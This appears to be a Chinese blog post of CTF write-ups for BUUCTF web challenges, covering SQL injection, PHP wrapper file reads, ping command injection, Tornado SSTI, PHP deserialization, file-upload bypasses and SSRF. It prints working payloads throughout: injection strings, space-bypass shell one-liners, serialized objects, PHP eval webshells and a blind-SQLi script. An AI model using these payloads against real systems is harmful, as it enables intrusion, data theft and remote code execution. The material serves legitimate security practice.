0%

buu

[SUCTF 2019]EasySQL

然后各种尝试,发现了符号||有些不一样,但是没啥用,有可能是盲注,我们发现有数组,试一下堆叠注入。

输入1;show tables出现了Flag,感觉EasySQL应该比较简单,直接查看字段,返回nonono,以为是把Flag符号过滤,进行十六进制编码,还是不行。实在没得思路,看一下大佬的wp。

select $_GET['query'] || flag from Flag;

大佬,居然可以猜出后台语句,哈哈哈。

符号||的意思是或,当1||后面的flag等于1,这时候sql语句就变成了

select 1 from Flag;返回1

这里我们多加个符号就可以查询表的全部数据

select *,1 from Flag 这里多了一个1会新创建一个字段名为1每个数据都为1的数据

构造payload:*,1即可获得flag。

本题特解关键:MySQL使用select查询时,如果有不存在的字段名,则会自动创建,不会报错,逻辑与运算,同时*可以查询所有数据,没被过滤。

常规做法:

堆叠注入。

也是需要跟逻辑与相关,官方payload:

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的 PIPES_AS_CONCAT|| 视为字符串的连接操作符而非 “或” 运算符。

还有就是这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个 || 相当于是将 select 1select flag from flag 的结果拼接在一起

其实相当于变成了

1
select 1,flag from flag

[ACTF2020 新生赛]Include

看见文件包含,还有?file=flag.php提示,直接伪协议读取文件。

首先使用php://input协议,直接弹出hack,再试一下,php://filter协议,一看返回了一大串base64编码就知道成功了。

解码得到flag.

本题关键:PHP伪协议

[极客大挑战 2019]Secret File

先查看源码,发现超链接,我们访问./Archive_room.php

点击secret,直接跳转了,查看网络,中间还有个网页,跳转速度很快,使用burp访问,得到secr3t.php

访问一下,得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

又是php伪协议读取文件,这里很明显过滤了../和tp和input和data,filter没被过滤,照样用上一篇文章的方法读取文件,得到flag。

本题关键:PHP伪协议

[GXYCTF2019]Ping Ping Ping

这是一道有关ping命令的题目。

先输入127.0.0.1|ls发现两个文件index.php,flag.php。

直接使用cat命令抓flag,失败了,回显fxck your space!很明显空格符号被过滤了。

这里用前面bugku靶场web36关的方法绕过空格过滤,尝试了一下,发现{}也被过滤了,有一个没被过滤查看到了源码。

发现flag字符给正则表达式过滤了,很难受,这里不会绕过,上网学习了。

网上的师傅使用的拼接符是***; 这个符号作用是:前面的执行完执行后面的***。

顺便复习一下:

|(管道符)的作用是:上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)。

||作用:当前面的执行出错时(为假)执行后面的

command1&&command2 先执行1,执行成功后,执行2。
只有一个&时,无论1有没有被执行,2都会执行。

补充一些命令绕过空格的方法:

1
2
3
4
$IFS
IFS
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来

方法一:变换位置赋值绕过。

构造payload:

127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

或者:

127.0.0.1;a=g;cat$IFS$9fla$a.php

方法二:内联执行

内联,就是将反引号内命令的输出作为输入执行。

构造payload:

1
127.0.0.1;cat$IFS$9`ls`

方法三:通过执行sh命令来执行(题目中bush被过滤)

sh是linux中运行shell的命令,bash相当于sh的升级。

cat flag.php经base64加密,

1
127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

[护网杯 2018]easy_tornado

看到标题tornade,百度了一下,Tornado是使用Python编写的Web服务器兼Web应用框架,就联想到了模板注入,再查看一下三个文件,welcome.txt文件有个render()函数,它是渲染函数,进行服务器端渲染,最后访问/hints.txt,发现md5加密,其中有个cookie_secret。首先要获得这个值:

观察了url由文件名和文件哈希值组成,随便修改一下哈希值,就跳转到新的url,这里就存在这ssti注入。(通过这里也可以知道我们要算出题目要求的哈希值,才可以获得flag。)

查看了一下tornado官网,发现了RequestHandler.settings,尝试输入,没有结果,学习了一下大佬的,

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!

获得了cookie_secret值(不需要加密引号),就可以相应的进行加密了,记得加密flag文件不要漏了/,先对/fllllllllllllag加密,记得都是32位小写的(其他位数不行?)以后直接用php的md5加密就好了。

本题关键:通过提示tornado来获取cookie_secret值()。

[极客大挑战 2019]BabySQL

判断注入类型为单引号。

构造admin'--+

猜字段数为3,4报错,这里的or和by要双写绕过。

可以开始爆数据库了,同样都是双写union和select绕过,获得数据库名geek。

爆数据表,全是双写绕过。

爆出字段id,username,password,最后爆出flag。

-admin' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd)frfromom b4bsql--+&password=123

这题很简单,就是没想到那么多双写。

本题关键:双写

[RoarCTF 2019]Easy Calc

这是一个计算器

找到了calc.php,访问得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

本题重点在于php字符串解析特性:可以看一下这篇文章:https://www.freebuf.com/news/213359.html

我们在num前面加个空格,可以绕过waf,因为php在解析时,会把空格去掉。

获得了php版本信息:

15

在 phpinfo 中可以发现 system、exec 这一类命令执行的函数被禁用了。

可以使用函数var_dump(),此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。还有函数scandir() ,此函数返回指定目录中的文件和目录的数组,配合查找文件,并查看。

由于/被过滤了,我们可以用chr(ascii)来绕过,

? num=1*1;var_dump(scandir(chr(47)))来读取目录,

发现flagg。

最后通过函数file_get_contents读取文件内容,获得flag。

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

本题关键:PHP字符串解析特性,通过函数var_dump()和scandir()配合读文件,再通过chr(ascii)绕过代替../

[极客大挑战 2019]Http

看了标题,http,打开burp查看一下。

发现了Secret.php文件

访问后,要求来自https://www.Sycsecret.com,然后要求浏览器改成Syclover,改后,还要在本地查看flag。修改3个地方即可。

本题关键:http类,通过burp查看其他网页,也可以f12,查看源码找到关键文件。

[极客大挑战 2019]PHP

使用dirsearch扫描目录,会被限制,一直跳400。

可以使用burp,构造相关文件字典进行爆破,查看到www.zip下载下来。

看见flag.php,打开一看就知道是假的了,这里主要分析class.php,应该是反序列化漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

在index.php查看源码,通过select传参,存在反序列化漏洞。

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

这题的序列化,相比以前多了一个private,这个与全局变量形成对比,表示私有字段,只在所声明的类中可见,所以这里序列化的结果前面有类名,

从图片中可以看出类名和字段名前面都有个符号,原来,私有字段的字段名在序列化时,属性名和属性值前面都会加上0的前缀。发现这里的字符串数为14,明显多了。

由于在url,所以我们构造%00,成功绕过,记得修改属性个数大于实际属性个数,可以绕过函数wake_up()。

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

获得flag。

本题关键:通过定义私有变量private构造序列化来满足题目要求的值,并修改属性个数的值大于实际属性个数,绕过wake_up()函数。

补充:

也可以通过python提交:

1
2
3
4
5
import  requests

url ="http://7bc3f84d-1e2f-4a49-897a-15eb4d1d5255.node3.buuoj.cn"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)

这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。所以会导致,上面复制不了。

[极客大挑战 2019]Upload

新学了一些文件名绕过姿势:phtml

这里要注意:需要 apache支持解析 phtml

该文件类型可以执行php代码。

注意这四个地方,即可上传成功并执行一句话木马。

本题关键:后缀名为phtml的一句话木马。

[HCTF 2018]admin

这题我做的很离谱,找到登陆页面,直接输入用户名admin,密码就随便输了个123,就得到flag了,很巧合。

百度了一下,本题有三种解法哈哈哈,总结一下,这里可能是服务器端出现问题了。

这里没办法复现,参考一下大佬的文章。

https://www.jianshu.com/p/f92311564ad0

[极客大挑战 2019]BuyFlag

看到学生要来自CUIT,刚开始以为是添加Referer字段,结果试了很多次都不行,这里好好观察一下cookie值。

改成user=1即可,然后说数字过长了。

通过数组绕过,得到flag。

或者使用科学计数法,

本题关键:科学计数法或数组绕过长度限制。

[BJDCTF2020]Easy MD5

请求头发现提示。

首先看一下md5函数的语法,

https://www.w3school.com.cn/php/func_string_md5.asp

当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,对应的字符就是ffifdyop,解出这个字符串需要脚本,还不大会。

1
2
129581926211651571912466741651878684928
ffifdyop

这里后台的sql语句是:$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";

我们要绕过md5就需要得到sql语句:

$sql = "SELECT * FROM admin WHERE username = 'admin' and **1**;

这样就可以查到名为admin的数据

想返回1,利用MySQL一些语法特性:

测试了一下,前面为非0数字结果返回就为1。

输入密码 ffifdyop,

经md5后返回,前面返回有’’ or ‘6,可以满足永真式。

跳转到 levels91.php

查看源码,直接通过数组绕过。

分别通过get和post提交参数。

本题关键:找到md5后能返回永真式的字符串,同万能密码一样。

[SUCTF 2019]CheckIn

本题绕过了文件内容,文件类型,还有文件名检查,成功上传了图片,但是没办法执行一句话木马。

这里我们想到了upload的**.user.ini** 文件和**.htaccess**文件,先试一下第一个

我们上传内容为GIF89A auto_prepend_file=1.jpg的.user.ini文件,然后再上传一个名为1.jpg的一句话木马。

1
GIF89a <script lanuage="php">@eval($_POST[1]);</script>

连接蚁剑发现了一个文件/clean.sh,所以这里操作要快,不然上传的文件会被删除,

连接的时候后面接上index.php。

为什么后面要加上index.php呢,查看源码,发现

看了一下源码,没过滤好.htaccess,因为少了一个c,但是上传了,也解析不了,为什么?

因为.htaccess只适用于apache,看了一下服务器使用的中间件是nginx,.user.ini适用于nginx/apache/IIS。

本题关键:上传.user.ini文件

[ZJCTF 2019]NiZhuanSiWei

关键函数file_get_contents()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
php <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

首先要读取文件内容,需要使用到php伪协议,加密的时候不要加双引号。

再读取useless.php文件内容:

base64解码得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

这里的file是可控的,我们修改成我们需要的然后进行序列化。

这里还要给file赋值useless.php,文件包含的是useless.php。

最后payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

f12就找到flag了。

本题关键:PHP伪协议,序列化修改可控参数读取文件。

[CISCN2019 华北赛区 Day2 Web1]Hack World

感觉这题又是盲注了,测试了一下,ascii,substr,<>,^没有被过滤。

跟前面写的脚本原理类似。放脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import re
url='http://2a70cf02-c4db-4a3c-97f6-7d7ed7322427.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)
payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)#防止访问过限
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max=s
else:
min=s
if((max-min)<=1):
flag+=chr(max)
break
print(flag)

[极客大挑战 2019]HardSQL

首先输入一个单引号出现报错,并且在密码附近,所以注入点应该在密码。

再测试一下,发现符号||被过滤了,我们可以用异或符号代替,^,这个方法很好用。

使用函数updatexml()实现报错注入。

爆出数据库,然后通过括号绕过空格过滤,用like代替=,爆出数据表。

?username=admin&password='^updatexml(1,concat(0x7c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),1)%23

爆出字段名

爆出flag。

?username=admin&password='^updatexml(1,concat(0x7c,(select(group_concat(id,username,password))from(H4rDsq1))),1)%23

好像还有一半,我们想用limit函数查一下,但是加了括号函数就会报错,可以使用left()right()语句查询拼接。

?username=admin&password='^updatexml(1,concat(0x7c(select(group_concat(right(password,30)))from(H4rDsq1))),1)%23

最后拼接得到flag。

本题关键:异或报错注入,like代替=绕过空格,left和right函数使用。

[网鼎杯 2018]Fakebook

先注册一个,然后发现用户名可以点击,跳转新的url,url末尾通过?no=传参。

尝试爆破一下数字,返回结果一样,试一下有没有sql注入。

习惯性加了单引号,报错,我们再加注释,还是报错,本题有可能是数字型的。

输入:

?no=1 order by 4

?no=1 order by 5报错,判断得出字段数为4。

直接爆库,发现存在waf,这里get了新姿势,通过/**/绕过空格的

?no=-1/**/union/**/select/**/1,database(),3,4

这里选择字段2,因为字段2在页面才有回显,爆出库名为fakebook

查表:

?no=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),3,4

得到表users,这里一般后面不直接接库名,不然怕还有waf。

接着爆出字段名,

?no=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='users'),3,4

先爆几个比较重要的字段。

?no=-1/**/union/**/select/**/1,(select/**/group_concat(username,passwd,data)from/**/users),3,4

看见序列化,这里并没有flag,应该还有别的页面,跑一下目录。

扫到robots.txt,访问一下,user.php.bak,下载源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

再看一下data数据的内容:O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:15;s:4:”blog”;s:16:”sadasd.github.io”;}

还记得前面报错有出现unserialize()函数,我们这里需要对什么进行序列化?

很明显跟博客地址有关系,再看看一开始的图片,相当于把这个图片内容打印出来,我们可以通过这个方式读取flag。

由于blog在字段4,我们就在字段4构造序列化,通过file://读取文件造成ssrf漏洞,(序列化后传入,系统将其反序列化,我们成功传入值会被传递到页面ifram里面 这样就造成SSRF攻击)

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:15;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

返回了内容,通过burp查看,

这题是sql注入和ssrf注入漏洞结合。

本题关键:数字型注入,注释符代替空格,序列化ssrf攻击。

[GXYCTF2019]BabySQli

Base32编码是使用32个可打印字符(字母A-Z和数字2-7)对任意字节数据进行编码的方案,编码后的字符串不用区分大小写并排除了容易混淆的字符,可以方便地由人类使用并由计算机处理。

Base16编码使用16个ASCII可打印字符(数字0-9和字母A-F)对任意字节数据进行编码。

Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。 一般看后缀有个=就很好区别出来。

看见源码有内容,先base32解码,再进行base64解码,得到sql语句。

select * from user where username = '$name'**

可以知道表名是user,单引号注入型。

union和select都被过滤了,get新姿势,直接盲猜字段数量。

再输入3,没报字段数错误,可以得到字段数为3。

括号被过滤了,很难受。想不到其他办法,测试耗时间,直接源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}

$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){//过滤
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}

?>

知识点:MySQL在查询数据不存在时,联合查询会构造一个虚拟的数据在数据库中。

这里两个条件,返回三个字段数据,第一个if要求字段2数据为“admin”

第二个if要求password经md5加密=字段3的数据。

构造payload:

name=-admin' union select 1,'admin','202cb962ac59075b964b07152d234b70' %23&pw=123

本题关键:MySQL查询数据,不存在会自动创建一个虚拟的数据在数据库中。

[网鼎杯 2020 青龙组]AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

​ 代码审计一下,PHP反序列化的漏洞,通过控制read()读取flag.php的内容。

根据源码,构造一下序列化代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class FileHandler {

protected $op = 2;
protected $filename = "flag.php";
protected $content = "abc";

}

$a = new FileHandler();
$b = serialize($a);
echo $b;

?>

得到的序列化:粘贴不出后面的,被截断了,中间有不可见字符\00*\00,根据前面都是public

我们把protected改成public。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class FileHandler {

public $op = 2;
public $filename = "flag.php";
public $content = "abc";

}

$a = new FileHandler();
$b = serialize($a);
echo $b;

?>

得到序列化:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"abc";}

通过str传参,f12查看flag。

这里有很多知识点,

1、is_valid()函数规定字符的ASCII码必须是32-125,即要求每个字符都是可打印的,而protected属性在序列化后会出现不可见字符\00\00,转化为ASCII码不符合要求。

绕过方法有两种:

PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过。(第一次测试就是这种方法绕过,还是public属性好啊)

在前面做的题目有private属性,会引入两个\x00,(\x00就是ascii的0)这个字符显示和输出看不到,甚至导致阶段,在urlencode后可以看见,所以protected属性会引入\x00\x00,我们把原本的乱码替换一下即可,好像不行,返回 Bad Hacker!。这里的s表示字符串类型,要改成大写S,表示支持后面的字符串用16进制。

得到payload:

?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:3:"abc";}

本题关键:确定属性个数,然后进行序列化,第一种使用public属性,由于PHP7.1以上对属性不敏感,第二种private属性,通过把小写s修改成大写s,输入不可见字符。

[MRCTF2020]你传你🐎呢

很粗俗的标题,原来是有个有关.htaccess文件上穿漏洞,这里试一下就知道了。

在前面upload已经刷过了,我们首先上传一个.htaccess文件,它可以把我们上传jpg后缀的文件解析成php,然后当作php代码执行。

在.htaccess文件输入:

SetHandler application/x-httpd-php

这样上传的jpg就会被当作php代码执行,

在上传.htaccess有个小绕过,把文件类型改成image/jpeg即可。

上传成功后,在上传一个jpg后缀的一句话木马,再次上传成功,得到文件路径。

就可以直接连接蚁剑了。

这里要特别注意文件的路径,不然后面蚁剑连接不上。

关于.htaccess详解可以看看:

https://www.cnblogs.com/adforce/archive/2012/11/23/2784664.html

本题关键:.htaccess文件上传。

[GYCTF2020]Blacklist

堆叠注入,过滤了set|prepare|alter|rename|select|update|delete|drop|insert|where且不区分大小写,想通过上次修改表名还有字段名以及类型来默认查询出flag,但是rename给替换了,想不到什么方式绕过。看了一下wp,get新姿势。

可以使用handler读取表中数据。

关于handler可以看一下:https://www.jb51.net/article/88732.htm

https://dev.mysql.com/doc/refman/8.0/en/handler.html(语法)

1
2
3
4
5
6
7
8
9
10
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

构造payload:

1';handler FlagHere open;handler FlagHere read first;#

我们目的是读取表中的flag,这里不用handler FlagHere close 也可以。

本题关键:堆叠注入handler的使用。

[MRCTF2020]Ez_bypass

1
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }

通过数组绕过第一if条件。

因为md5加密数组的结果都为null值,两个比较相等。

第二个绕过也很简单,弱类型比较,post提交参数,得到flag。

本题关键:弱类型比较,md5绕过。

总结

1、对于sql注入,fuzz测试来检查过被过滤的符号。

2、在MySQL查询数据时,多加不存在的字段名,MySQL会新创建出来,不会出现语法错误。

3、php伪协议,在ctf中php://filter很常用,php:input和data经常被过滤。

4、内联执行:内联,就是将反引号内命令的输出作为输入执行。
如:pingpingping那题

1
127.0.0.1;cat$IFS$9`ls`

5、还有命令绕过空格的方法:
$IFS
IFS
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
6、查找cookie_secret值方法:通过ssti注入,tornado的应用框架。
7、双写绕过sql注入。
8、php字符串解析特性:php在解析时会把空格去掉。
9、函数var_dump()和scandir() var_dump(scandir(路径))
10、反斜杠被过滤了通过,char(num)来过滤。num是acsii对应的数字。
11、php反序列化漏洞,不用自己写序列化,直接利用源码,根据题目要求构造新的属性值;
区分三个类属性public,private还有protected。
后面两个会出现不可见字符,private为%00,属性名和属性值前面都会加上0,protected为\00\00仅出现在属性名前。*
12、新get的文件上传后缀名:phtml。
13、.user.ini和.htaccess文件上传。
14、sql注入^代替||,like代替=,括号代替空格,//绕过空格。**

15、handler用法,查询表中数据。

1
handler 表名 open;handler 表名 read first/next ;handler 表名 close

16、MySQL,sql_mode=PIPES_AS_CONCAT,可以将||符合变成连接符。

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道